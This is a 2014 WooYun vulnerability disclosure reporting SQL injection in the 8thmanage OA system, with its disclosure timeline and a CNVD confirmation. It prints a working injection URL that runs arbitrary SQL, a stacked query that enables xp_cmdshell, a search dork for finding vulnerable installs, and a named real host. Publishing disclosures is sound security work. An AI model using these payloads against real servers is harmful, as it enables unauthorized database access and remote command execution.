漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-066488
漏洞标题：某oa管理系统sql注入
相关厂商：高亚科技（广州）
漏洞作者： he1renyagao
提交时间：2014-06-30 14:29
修复时间：2014-08-14 14:30
公开时间：2014-08-14 14:30
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-30： 细节已通知厂商并且等待厂商处理中
2014-07-05： 厂商已经确认，细节仅向厂商公开
2014-07-15： 细节向核心白帽子及相关领域专家公开
2014-07-25： 细节向普通白帽子公开
2014-08-04： 细节向实习白帽子公开
2014-08-14： 细节向公众公开
简要描述：
某套大型oa系统，sql查询漏洞
详细说明：
8thmanage 一个商务信息系统存在sql查询漏洞，具体版本系统没环境测试，但网上能找到的地址通杀，不管什么系统。
关键字：流程管道,知识活水
vmain/login.jsp
http://ip:port/ServiceAction/com.velcro.base.DataAction?sql=select/**/@@VERSION
直接爆出sql版本，
EXEC%20sp_configure%20%27show%20advanced%20options%27,%201;RECONFIGURE;EXEC%20sp_configure%20%27xp_cmdshell%27,%201;RECONFIGURE;
开xp_cmdshell
http://www.baidu.com/s?wd=%E6%B5%81%E7%A8%8B%E7%AE%A1%E9%81%93%2C%E7%9F%A5%E8%AF%86%E6%B4%BB%E6%B0%B4&rsv_spt=1&issp=1&rsv_bp=0&ie=utf-8&tn=baiduhome_pg&rsv_sug3=1&rsv_sug4=64&inputT=692
http://kms.kogc.com.cn/ServiceAction/com.velcro.base.DataAction?sql=select/**/@@VERSION
危害看下图吧
漏洞证明：
随便一个例子，都可直接拿下服务器。
修复方案：
。。。
版权声明：转载请注明来源 he1renyagao@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：16
确认时间：2014-07-05 08:55
厂商回复：
CNVD确认并复现所述情况，已经转由CNCERT下发给广东分中心处置。后续CNVD将进一步再联系软件生产厂商。
最新状态：
暂无